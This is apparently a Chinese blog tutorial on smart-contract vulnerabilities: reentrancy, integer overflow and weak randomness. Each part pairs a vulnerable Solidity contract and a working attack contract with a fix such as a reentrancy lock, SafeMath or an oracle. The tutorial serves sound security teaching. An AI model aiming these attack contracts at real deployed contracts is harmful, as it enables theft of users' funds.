智能合约安全漏洞与解决方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";

/*
   智能合约安全
   在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改

   重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
   重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断
  
   解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件
   解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
*/
contract EtherStore {
    mapping(address => uint) public balances;

    // 定义重入锁变量
    bool internal locked;
    // 定义重入锁修改器
    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// 攻击合约
contract Attack {

    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 回退函数
    fallback() external payable {
        // 为了避免死循环,加判断
        if (address(etherStore).balance >= 1 ether) {
            // 提现
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        // 存款
        etherStore.deposit{value: 1 ether}();
        // 提现
        etherStore.withdraw(1 ether);
    }

    function getBalacne() public view returns (uint) {
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    //receive() external payable {}
}


/*
  整数溢出漏洞
  uint = uint256  取值范围:0 - 2**256-1  
  数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。
  数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字

  示例,定义时间锁合约
*/
contract TimeLock {
    // 使用openzepplin的安全库 uint myUint;  myUint.add(123);
    using SafeMath for uint;

    // 账本
    mapping(address => uint) public balances;
    // 提现锁定期,到期可提现
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        // 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加锁定时间 这个加法有可能产生数学溢出
    function increaseLockTime(uint _secondsToIncrease) public {
        //lockTime[msg.sender] += _secondsToIncrease;
        // 使用安全库,防止数学溢出 加完会验证结果是否比原来更大
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        // 判断用户余额
        require(balances[msg.sender] >0, "Insufficient funds");
        // 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// 用于验证数字溢出漏洞,该合约无其他意义
contract TimeLockAccack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        // 向TimeLock存款,同时该方法会记录存款到期时间,默认一周
        timeLock.deposit{value: msg.value}();

        // 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()
        // 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间
        // 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0
        // x = -t  调用这个方法,实际会把取款时间改为0
        timeLock.increaseLockTime(
            uint(-timeLock.lockTime(address(this)))
        );
        // 提现
        timeLock.withdraw();
    }
}

使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

不安全写法:lockTime[msg.sender] += _secondsToIncrease;

安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

整数溢出真实案例:

2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金额输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
解决方案:使用安全的随机数源,第三方api或预言机获取随机数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
  随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖
  生产真实案例,如EOS伪随机数漏洞
*/
contract Random {
    // 生产随机数确定是否中奖,如果中奖则转账给中奖者
    function guess() public payable {
        // 获取随机数,确定是否中奖
        bool result = _getRandom();
        if(result){
            // 中奖,获得1个eth奖励
            bool ok = payable(msg.sender).send(1 ether);
            if(!ok){

            }
        }
    }
    // 获取随机数函数,并确定是否中奖
    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
        if(random%2==0){
            return false;
        }
        return true;
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }
    // 设置部署时转入ETH
    constructor() payable{}
    // 允许接收ETH
    receive() external payable{}
}

// 攻击者合约
contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        for(;;){
            // 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回
            if(payable(_random).balance < 1){
                emit Log("succes getting eth");
                return;
            }
            // 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
                emit Log("failed to get rand,wait 10 seconds");
                return;
            }
            emit Log("start accack!!!");
            // 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
            if(!ok){
                emit Log("failed to call guess()");
                return;
            }
        }
    }

    // 查看余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    receive() external payable {}
}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
修复智能合约漏洞是一个复杂的过程,需要仔细分析合约代码并采取适当的措施来解决问题。以下是一些常见的方法来修复智能合约漏洞: 1. 审查代码:仔细审查智能合约的代码,特别关注可能导致漏洞的部分,例如输入验证、边界检查和权限控制等。确保代码逻辑正确且没有潜在的安全问题。 2. 更新合约:如果发现合约中存在漏洞,可以通过更新合约来修复漏洞。这可能涉及修改代码、添加新功能或删除不安全的部分。确保在更新合约时遵循最佳实践和安全标准。 3. 安全审计:聘请专业的安全审计团队对合约进行审计,他们会帮助发现潜在的漏洞并提供修复建议。安全审计可以帮助确保合约符合最佳实践和安全标准。 4. 引入多重签名:使用多重签名机制可以增加合约的安全性。这样需要多个签名才能执行关键操作,有效降低了合约被攻击的风险。 5. 强化权限控制:确保只有授权用户才能执行敏感操作。通过添加适当的权限控制和身份验证机制来限制对合约的访问和执行操作的权限。 6. 持续监控和更新:合约修复不是一次性的工作,需要持续监控合约的安全性,并及时更新合约以应对新的安全威胁和漏洞。 请注意,修复智能合约漏洞是一个复杂的过程,需要确保合约的安全性和正确性。因此,建议在进行修复之前仔细评估和测试修复方案,并寻求专业的安全团队的帮助。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值